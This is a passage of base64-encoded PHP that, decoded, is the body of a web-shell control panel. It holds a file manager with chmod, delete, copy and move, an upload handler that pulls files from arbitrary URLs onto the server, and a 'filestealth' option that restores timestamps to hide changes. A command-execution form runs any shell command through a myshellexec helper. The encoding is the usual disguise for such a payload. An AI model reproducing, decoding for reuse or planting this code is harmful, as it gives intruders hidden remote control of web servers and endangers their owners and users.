Y2hfdGV4dFwiIGNvbHM9XCI1MFwiIHJvd3M9XCI1XCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfdGV4dCkuIjwvdGV4dGFyZWE+PC90ZD48L3RyPiIuDQogICAgICAgIjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF9yZWdleHBcIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfcmVnZXhwID09IDE/IiBjaGVja2VkIjoiIikuIj4gUmVndWxhciBFeHByZXNzaW9uIi4NCiAgICAgICAiICA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X3d3b1wiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF93d28gPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiBXaG9sZSB3b3JkcyBvbmx5Ii4NCiAgICAgICAiICA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X2NzXCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF90ZXh0X2NzID09IDE/IiBjaGVja2VkIjoiIikuIj4gQ2FzZSBzZW5zaXRpdmUiLg0KICAgICAgICIgIDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfbm90XCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF90ZXh0X25vdCA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IEZpbmQgZmlsZXMgTk9UIGNvbnRhaW5pbmcgdGhlIHRleHQ8L3RkPjwvdHI+Ii4NCiAgICAgICAiPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJTZWFyY2hcIj48L2Zvcm0+PC90ZD48L3RyPiIuDQogICAgICAgIjwvdGFibGU+IjsNCiAgaWYgKCR4ID09ICJscyIpIHsNCiAgICAkZHNwYWN0ID0gJHg7DQogICAgZWNobyAiU2VhcmNoIHRvb2sgIi4kc2VhcmNodGltZS4iIHNlY3MgKCIuJHNlYXJjaF9pX2YuIiBmaWxlcyBhbmQgIi4kc2VhcmNoX2lfZC4iIGZvbGRlcnMsICIucm91bmQoKCRzZWFyY2hfaV9mKyRzZWFyY2hfaV9kKS8kc2VhcmNodGltZSw0KS4iIG9iamVjdHMgcGVyIHNlY29uZCkuPC9iPiIuDQogICAgICAgICAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICB9DQp9DQppZiAoJHggPT0gImNobW9kIikgew0KICAkbW9kZSA9IGZpbGVwZXJtcygkZC4kZik7DQogIGlmICghJG1vZGUpIHtlY2hvICI8Yj5DaGFuZ2UgZmlsZS1tb2RlIHdpdGggZXJyb3I6PC9iPiBjYW4ndCBnZXQgY3VycmVudCB2YWx1ZS4iO30NCiAgZWxzZSB7DQogICAgJGZvcm0gPSBUUlVFOw0KICAgIGlmICgkY2htb2Rfc3VibWl0KQ0KICB7DQogICAkb2N0ZXQgPSAiMCIuYmFzZV9jb252ZXJ0KCgkY2htb2Rfb1siciJdPzE6MCkuKCRjaG1vZF9vWyJ3Il0/MTowKS4oJGNobW9kX29bIngiXT8xOjApLigkY2htb2RfZ1siciJdPzE6MCkuKCRjaG1vZF9nWyJ3Il0/MTowKS4oJGNobW9kX2dbIngiXT8xOjApLigkY2htb2Rfd1siciJdPzE6MCkuKCRjaG1vZF93WyJ3Il0/MTowKS4oJGNobW9kX3dbIngiXT8xOjApLDIsOCk7DQogICBpZiAoY2htb2QoJGQuJGYsJG9jdGV0KSkgeyR4ID0gImxzIjsgJGZvcm0gPSBGQUxTRTsgJGVyciA9ICIiO30NCiAgIGVsc2UgeyRlcnIgPSAiQ2FuJ3QgY2htb2QgdG8gIi4kb2N0ZXQuIi4iO30NCiAgfQ0KICBpZiAoJGZvcm0pDQogIHsNCiAgICRwZXJtcyA9IHBhcnNlX3Blcm1zKCRtb2RlKTsNCiAgIGVjaG8gIjxiPkNoYW5naW5nIGZpbGUtbW9kZSAoIi4kZC4kZi4iKSwgIi52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iICgiLnN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRkLiRmKSksLTQsNCkuIik8L2I+PGJyPiIuKCRlcnI/IjxiPkVycm9yOjwvYj4gIi4kZXJyOiIiKS4iPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZCkuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGYpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPWNobW9kPjx0YWJsZSBhbGlnbj1sZWZ0IHdpZHRoPTMwMCBib3JkZXI9MCBjZWxsc3BhY2luZz0wIGNlbGxwYWRkaW5nPTU+PHRyPjx0ZD48Yj5Pd25lcjwvYj48YnI+PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfb1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJvIl1bInIiXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1JlYWQ8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1jaG1vZF9vW3ddIHZhbHVlPTEiLigkcGVybXNbIm8iXVsidyJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9vW3hdIHZhbHVlPTEiLigkcGVybXNbIm8iXVsieCJdPyIgY2hlY2tlZCI6IiIpLiI+ZVhlY3V0ZTwvdGQ+PHRkPjxiPkdyb3VwPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9nW3JdIHZhbHVlPTEiLigkcGVybXNbImciXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbd10gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbeF0gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC9mb250PjwvdGQ+PHRkPjxiPldvcmxkPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF93W3JdIHZhbHVlPTEiLigkcGVybXNbInciXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbd10gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbeF0gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC9mb250PjwvdGQ+PC90cj48dHI+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWNobW9kX3N1Ym1pdCB2YWx1ZT1cIlNhdmVcIj48L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+IjsNCiAgfQ0KfQ0KfQ0KaWYgKCR4ID09ICJ1cGxvYWQiKSB7DQogICR1cGxvYWRtZXNzID0gIiI7DQogICR1cGxvYWRwYXRoID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR1cGxvYWRwYXRoKTsNCiAgaWYgKGVtcHR5KCR1cGxvYWRwYXRoKSkgeyR1cGxvYWRwYXRoID0gJGQ7fQ0KICBlbHNlaWYgKHN1YnN0cigkdXBsb2FkcGF0aCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR1cGxvYWRwYXRoIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICBpZiAoIWVtcHR5KCRzdWJtaXQpKSB7DQogICAgZ2xvYmFsICRfRklMRVM7DQogICAgJHVwbG9hZGZpbGUgPSAkX0ZJTEVTWyJ1cGxvYWRmaWxlIl07DQogICAgaWYgKCFlbXB0eSgkdXBsb2FkZmlsZVsidG1wX25hbWUiXSkpIHsNCiAgICAgIGlmIChlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKSB7JGRlc3RpbiA9ICR1cGxvYWRmaWxlWyJuYW1lIl07fQ0KICAgICAgZWxzZSB7JGRlc3RpbiA9ICR1c2VyZmlsZW5hbWU7fQ0KICAgICAgaWYgKCFtb3ZlX3VwbG9hZGVkX2ZpbGUoJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0sJHVwbG9hZHBhdGguJGRlc3RpbikpIHsNCiAgICAgICAgJHVwbG9hZG1lc3MgLj0gIkVycm9yIHVwbG9hZGluZyBmaWxlICIuJHVwbG9hZGZpbGVbIm5hbWUiXS4iIChjYW4ndCBjb3B5IFwiIi4kdXBsb2FkZmlsZVsidG1wX25hbWUiXS4iXCIgdG8gXCIiLiR1cGxvYWRwYXRoLiRkZXN0aW4uIlwiITxicj4iOw0KICAgICAgfQ0KICAgICAgZWxzZSB7ICR1cGxvYWRtZXNzIC49ICJGaWxlIHVwbG9hZGVkIHN1Y2Nlc3NmdWxseSE8YnI+Ii4kdXBsb2FkcGF0aC4kZGVzdGluOyB9DQogICAgfQ0KICAgIGVsc2VpZiAoIWVtcHR5KCR1cGxvYWR1cmwpKSB7DQogICAgICBpZiAoIWVtcHR5KCR1cGxvYWRmaWxlbmFtZSkpIHskZGVzdGluID0gJHVwbG9hZGZpbGVuYW1lO30NCiAgICAgIGVsc2Ugew0KICAgICAgICAkZGVzdGluID0gZXhwbG9kZSgiLyIsJGRlc3Rpbik7DQogICAgICAgICRkZXN0aW4gPSAkZGVzdGluW2NvdW50KCRkZXN0aW4pLTFdOw0KICAgICAgICBpZiAoZW1wdHkoJGRlc3RpbikpIHsNCiAgICAgICAgICAkaSA9IDA7DQogICAgICAgICAgJGIgPSAiIjsNCiAgICAgICAgICB3aGlsZShmaWxlX2V4aXN0cygkdXBsb2FkcGF0aC4kZGVzdGluKSkgew0KICAgICAgICAgICAgaWYgKCRpID4gMCkgeyRiID0gIl8iLiRpO30NCiAgICAgICAgICAgICRkZXN0aW4gPSAidXBsb2FkIi4kYjsNCiAgICAgICAgICAgICRpKys7DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgICBpZiAoKCFlcmVnaSgiaHR0cDovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJodHRwczovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJmdHA6Ly8iLCR1cGxvYWR1cmwpKSkge2VjaG8gIjxiPkluY29ycmVjdCBVUkwhPC9iPiI7fQ0KICAgICAgZWxzZSB7DQogICAgICAgICRzdCA9IGdldG1pY3JvdGltZSgpOw0KICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkdXBsb2FkdXJsKTsNCiAgICAgICAgJGR0ID0gcm91bmQoZ2V0bWljcm90aW1lKCktJHN0LDQpOw0KICAgICAgICBpZiAoISRjb250ZW50KSB7JHVwbG9hZG1lc3MgLj0gICJDYW4ndCBkb3dubG9hZCBmaWxlISI7fQ0KICAgICAgICBlbHNlIHsNCiAgICAgICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7JHN0YXQgPSBzdGF0KCR1cGxvYWRwYXRoLiRkZXN0aW4pO30NCiAgICAgICAgICAkZnAgPSBmb3BlbigkdXBsb2FkcGF0aC4kZGVzdGluLCJ3Iik7DQogICAgICAgICAgaWYgKCEkZnApIHskdXBsb2FkbWVzcyAuPSAiRXJyb3Igd3JpdGluZyB0byBmaWxlICIuaHRtbHNwZWNpYWxjaGFycygkZGVzdGluKS4iITxicj4iO30NCiAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgIGZ3cml0ZSgkZnAsJGNvbnRlbnQsc3RybGVuKCRjb250ZW50KSk7DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgIGlmICgkZmlsZXN0ZWFsdGgpIHt0b3VjaCgkdXBsb2FkcGF0aC4kZGVzdGluLCRzdGF0WzldLCRzdGF0WzhdKTt9DQogICAgICAgICAgICAkdXBsb2FkbWVzcyAuPSAiRmlsZSBzYXZlZCBmcm9tICIuJHVwbG9hZHVybC4iICEiOw0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgICBlbHNlIHsgZWNobyAiTm8gZmlsZSB0byB1cGxvYWQhIjsgfQ0KICB9DQogIGlmICgkbWluaWZvcm0pIHsNCiAgICBlY2hvICI8Yj4iLiR1cGxvYWRtZXNzLiI8L2I+IjsNCiAgICAkeCA9ICJscyI7DQogIH0NCiAgZWxzZSB7DQogICAgZWNobyAiPHRhYmxlPjx0cj48dGQgY29sc3Bhbj0yIGNsYXNzPWJhcmhlYWRlcj4iLg0KICAgICAgICAgIi46IEZpbGUgVXBsb2FkIDouPC90ZD4iLg0KICAgICAgICAgIjx0ZCBjb2xzcGFuPTI+Ii4kdXBsb2FkbWVzcy4iPC90ZD48L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD48Zm9ybSBlbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiIGFjdGlvbj1cIiIuJHN1cmwuIng9dXBsb2FkJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiBtZXRob2Q9UE9TVD4iLg0KICAgICAgICAgIkZyb20gWW91ciBDb21wdXRlcjo8L3RkPjx0ZD48aW5wdXQgbmFtZT1cInVwbG9hZGZpbGVcIiB0eXBlPVwiZmlsZVwiPjwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+RnJvbSBVUkw6PC90ZD48dGQ+PGlucHV0IG5hbWU9XCJ1cGxvYWR1cmxcIiB0eXBlPVwidGV4dFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR1cGxvYWR1cmwpLiJcIiBzaXplPVwiNzBcIj48L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPlRhcmdldCBEaXJlY3Rvcnk6PC90ZD48dGQ+PGlucHV0IG5hbWU9XCJ1cGxvYWRwYXRoXCIgc2l6ZT1cIjcwXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PC90ZD48L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD5UYXJnZXQgRmlsZSBOYW1lOjwvdGQ+PHRkPjxpbnB1dCBuYW1lPXVwbG9hZGZpbGVuYW1lIHNpemU9MjU+PC90ZD48L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVwbG9hZGF1dG9uYW1lIHZhbHVlPTEgaWQ9ZGY0PiBDb252ZXJ0IGZpbGUgbmFtZSB0byBsb3dlcmNhc2U8L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlVwbG9hZFwiPiIuDQogICAgICAgICAiPC9mb3JtPjwvdGQ+PC90cj48L3RhYmxlPiI7DQogIH0NCn0NCmlmICgkeCA9PSAiZGVsZXRlIikgew0KICAkZGVsZXJyID0gIiI7DQogIGZvcmVhY2ggKCRhY3Rib3ggYXMgJHYpIHsNCiAgICAkcmVzdWx0ID0gRkFMU0U7DQogICAgJHJlc3VsdCA9IGZzX3Jtb2JqKCR2KTsNCiAgICBpZiAoISRyZXN1bHQpIHskZGVsZXJyIC49ICJDYW4ndCBkZWxldGUgIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iPGJyPiI7fQ0KICB9DQogIGlmICghZW1wdHkoJGRlbGVycikpIHtlY2hvICI8Yj5EZWxldGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJGRlbGVycjt9DQogICR4ID0gImxzIjsNCn0NCmlmICghJHVzZWZzYnVmZikgew0KICBpZiAoKCR4ID09ICJwYXN0ZSIpIG9yICgkeCA9PSAiY29weSIpIG9yICgkeCA9PSAiY3V0Iikgb3IgKCR4ID09ICJ1bnNlbGVjdCIpKSB7ZWNobyAiPGNlbnRlcj48Yj5Tb3JyeSwgYnVmZmVyIGlzIGRpc2FibGVkLiBGb3IgZW5hYmxlLCBzZXQgZGlyZWN0aXZlIFwiXCR1c2Vmc2J1ZmZcIiBhcyBUUlVFLjwvY2VudGVyPiI7fQ0KfQ0KZWxzZSB7DQogIGlmICgkeCA9PSAiY29weSIpIHskZXJyID0gIiI7ICRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkYWN0Ym94KTsgY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICR4ID0gImxzIjsgfQ0KICBlbHNlaWYgKCR4ID09ICJjdXQiKSB7JHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjdXQiXSwkYWN0Ym94KTsgY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICR4ID0gImxzIjt9DQogIGVsc2VpZiAoJHggPT0gInVuc2VsZWN0Iikge2ZvcmVhY2ggKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJHYsJGFjdGJveCkpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9fSBmb3JlYWNoICgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJHYsJGFjdGJveCkpIHt1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pO319IGNhX3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkeCA9ICJscyI7fQ0KICBpZiAoJGFjdGVtcHR5YnVmZikgeyRzZXNzX2RhdGFbImNvcHkiXSA9ICRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTsgY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7fQ0KICBlbHNlaWYgKCRhY3RwYXN0ZWJ1ZmYpIHsNCiAgICAkcHN0ZXJyID0gIiI7DQogICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7DQogICAgICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICAgICBpZiAoIWZzX2NvcHlfb2JqKCR2LCR0bykpIHskcHN0ZXJyIC49ICJDYW4ndCBjb3B5ICIuJHYuIiB0byAiLiR0by4iITxicj4iO30NCiAgICAgIGlmICgkY29weV91bnNldCkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO30NCiAgICB9DQogICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHsNCiAgICAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsNCiAgICAgIGlmICghZnNfbW92ZV9vYmooJHYsJHRvKSkgeyRwc3RlcnIgLj0gIkNhbid0IG1vdmUgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQ0KICAgICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsNCiAgICB9DQogICAgY2Ffc2Vzc19wdXQoJHNlc3NfZGF0YSk7DQogICAgaWYgKCFlbXB0eSgkcHN0ZXJyKSkge2VjaG8gIjxiPlBhc3Rpbmcgd2l0aCBlcnJvcnM6PC9iPjxicj4iLiRwc3RlcnI7fQ0KICAgICR4ID0gImxzIjsNCiAgfQ0KICBlbHNlaWYgKCRhY3RhcmNidWZmKSB7DQogICAgJGFyY2VyciA9ICIiOw0KICAgIGlmIChzdWJzdHIoJGFjdGFyY2J1ZmZfcGF0aCwtNyw3KSA9PSAiLnRhci5neiIpIHskZXh0ID0gIi50YXIuZ3oiO30NCiAgICBlbHNlIHskZXh0ID0gIi50YXIuZ3oiO30NCiAgICBpZiAoJGV4dCA9PSAiLnRhci5neiIpIHskY21kbGluZSA9ICJ0YXIgY2Z6diI7fQ0KICAgICRjbWRsaW5lIC49ICIgIi4kYWN0YXJjYnVmZl9wYXRoOw0KICAgICRvYmplY3RzID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRzZXNzX2RhdGFbImN1dCJdKTsNCiAgICBmb3JlYWNoKCRvYmplY3RzIGFzICR2KSB7DQogICAgICAkdiA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdik7DQogICAgICBpZiAoc3Vic3RyKCR2LDAsc3RybGVuKCRkKSkgPT0gJGQpIHskdiA9IGJhc2VuYW1lKCR2KTt9DQogICAgICBpZiAoaXNfZGlyKCR2KSkgew0KICAgICAgICBpZiAoc3Vic3RyKCR2LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHYgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgICR2IC49ICIqIjsNCiAgICAgIH0NCiAgICAgICRjbWRsaW5lIC49ICIgIi4kdjsNCiAgICB9DQogICAgJHRtcCA9IHJlYWxwYXRoKCIuIik7DQogICAgY2hkaXIoJGQpOw0KICAgICRyZXQgPSBteXNoZWxsZXhlYygkY21kbGluZSk7DQogICAgY2hkaXIoJHRtcCk7DQogICAgaWYgKGVtcHR5KCRyZXQpKSB7JGFyY2VyciAuPSAiQ2FuJ3QgY2FsbCBhcmNoaXZhdG9yICgiLmh0bWxzcGVjaWFsY2hhcnMoc3RyMm1pbmkoJGNtZGxpbmUsNjApKS4iKSE8YnI+Ijt9DQogICAgJHJldCA9IHN0cl9yZXBsYWNlKCJcclxuIiwiXG4iLCRyZXQpOw0KICAgICRyZXQgPSBleHBsb2RlKCJcbiIsJHJldCk7DQogICAgaWYgKCRjb3B5X3Vuc2V0KSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fX0NCiAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikgew0KICAgICAgaWYgKGluX2FycmF5KCR2LCRyZXQpKSB7ZnNfcm1vYmooJHYpO30NCiAgICAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQogICAgfQ0KICAgIGNhX3Nlc3NfcHV0KCRzZXNzX2RhdGEpOw0KICAgIGlmICghZW1wdHkoJGFyY2VycikpIHtlY2hvICI8Yj5BcmNoaXZhdGlvbiBlcnJvcnM6PC9iPjxicj4iLiRhcmNlcnI7fQ0KICAgICR4ID0gImxzIjsNCiAgfQ0KICBlbHNlaWYgKCRhY3RwYXN0ZWJ1ZmYpIHsNCiAgICAkcHN0ZXJyID0gIiI7DQogICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7DQogICAgICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICAgICBpZiAoIWZzX2NvcHlfb2JqKCR2LCRkKSkgeyRwc3RlcnIgLj0gIkNhbid0IGNvcHkgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQ0KICAgICAgaWYgKCRjb3B5X3Vuc2V0KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fQ0KICAgIH0NCiAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikgew0KICAgICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOw0KICAgICAgaWYgKCFmc19tb3ZlX29iaigkdiwkZCkpIHskcHN0ZXJyIC49ICJDYW4ndCBtb3ZlICIuJHYuIiB0byAiLiR0by4iITxicj4iO30NCiAgICAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQogICAgfQ0KICAgIGNhX3Nlc3NfcHV0KCRzZXNzX2RhdGEpOw0KICAgIGlmICghZW1wdHkoJHBzdGVycikpIHtlY2hvICI8Yj5QYXN0aW5nIHdpdGggZXJyb3JzOjwvYj48YnI+Ii4kcHN0ZXJyO30NCiAgICAkeCA9ICJscyI7DQogIH0NCn0NCmlmICgkeCA9PSAiY21kIikgew0KICBAY2hkaXIoJGNoZGlyKTsNCiAgaWYgKCFlbXB0eSgkc3VibWl0KSkgew0KICAgIGVjaG8gIjxkaXYgY2xhc3M9YmFyaGVhZGVyPi46IFJlc3VsdCBvZiBDb21tYW5kIEV4ZWN1dGlvbiA6LjwvZGl2PiI7DQogICAgJG9sZGRpciA9IHJlYWxwYXRoKCIuIik7DQogICAgQGNoZGlyKCRkKTsNCiAgICAkcmV0ID0gbXlzaGVsbGV4ZWMoJGNtZCk7DQogICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOw0KICAgIGlmICgkY21kX3R4dCkgew0KICAgICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcmV0KSkrMTsNCiAgICAgIGlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDsgfQ0KICAgICAgaWYgKCRtc2llKSB7ICRjb2xzID0gMTEzOyB9DQogICAgICBlbHNlIHsgJGNvbHMgPSAxMTc7fQ0KICAgICAgZWNobyAiPGRpdiBhbGlnbj1sZWZ0PjxwcmU+Ii5odG1sc3BlY2lhbGNoYXJzKCRyZXQpLiI8L3ByZT48L2Rpdj4iOw0KICAgIH0NCiAgICBlbHNlIHtlY2hvICRyZXQuIjxicj4iO30NCiAgICBAY2hkaXIoJG9sZGRpcik7DQogIH0NCiAgZWxzZSB7DQogICAgZWNobyAiPGI+Q29tbWFuZCBFeGVjdXRpb248L2I+IjsNCiAgICBpZiAoZW1wdHkoJGNtZF90eHQpKSB7JGNtZF90eHQgPSBUUlVFO30NCiAgfQ0KfQ0KaWYgKCR4ID09ICJscyIpIHsNCiAgaWYgKGNvdW50KCRsc19hcnIpID4gMCkgeyAkbGlzdCA9ICRsc19hcnI7IH0NCiAgZWxzZSB7DQogICAgJGxpc3QgPSBhcnJheSgpOw0KICAgIGlmICgkaCA9IEBvcGVuZGlyKCRkKSkgew0KICAgICAgd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHskbGlzdFtdID0gJGQuJG87fQ0KICAgICAgY2xvc2VkaXIoJGgpOw0KICAgIH0NCiAgfQ0KICBpZiAoY291bnQoJGxpc3QpID09IDApIHsgZWNobyAiPGRpdiBjbGFzcz1meGVycm1zZz5DYW4ndCBvcGVuIGZvbGRlciAoIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iKSE8L2Rpdj4iO30NCiAgZWxzZSB7DQogICAgJG9iamVjdHMgPSBhcnJheSgpOw0KICAgICR2ZCA9ICJmIjsgDQogICAgaWYgKCR2ZCA9PSAiZiIpIHsNCiAgICAgICRvYmplY3RzWyJoZWFkIl0gPSBhcnJheSgpOw0KICAgICAgJG9iamVjdHNbImZvbGRlcnMiXSA9IGFycmF5KCk7DQogICAgICAkb2JqZWN0c1sibGlua3MiXSA9IGFycmF5KCk7DQogICAgICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5KCk7DQogICAgICBmb3JlYWNoICgkbGlzdCBhcyAkdikgew0KICAgICAgICAkbyA9IGJhc2VuYW1lKCR2KTsNCiAgICAgICAgJHJvdyA9IGFycmF5KCk7DQogICAgICAgIGlmICgkbyA9PSAiLiIpIHskcm93W10gPSAkZC4kbzsgJHJvd1tdID0gIkNVUkRJUiI7fQ0KICAgICAgICBlbHNlaWYgKCRvID09ICIuLiIpIHskcm93W10gPSAkZC4kbzsgJHJvd1tdID0gIlVQRElSIjt9DQogICAgICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkgew0KICAgICAgICAgIGlmIChpc19saW5rKCR2KSkgeyR0eXBlID0gIkxJTksiO30NCiAgICAgICAgICBlbHNlIHskdHlwZSA9ICJESVIiO30NCiAgICAgICAgICAkcm93W10gPSAkdjsNCiAgICAgICAgICAkcm93W10gPSAkdHlwZTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYoaXNfZmlsZSgkdikpIHskcm93W10gPSAkdjsgJHJvd1tdID0gZmlsZXNpemUoJHYpO30NCiAgICAgICAgJHJvd1tdID0gZmlsZW10aW1lKCR2KTsNCiAgICAgICAgaWYgKCEkd2luKSB7DQogICAgICAgICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCR2KSk7DQogICAgICAgICAgJGdyID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCR2KSk7DQogICAgICAgICAgJHJvd1tdID0gKCRvd1sibmFtZSJdPyRvd1sibmFtZSJdOmZpbGVvd25lcigkdikpLiIvIi4oJGdyWyJuYW1lIl0/JGdyWyJuYW1lIl06ZmlsZWdyb3VwKCR2KSk7DQogICAgICAgIH0NCiAgICAgICAgJHJvd1tdID0gZmlsZXBlcm1zKCR2KTsNCiAgICAgICAgaWYgKC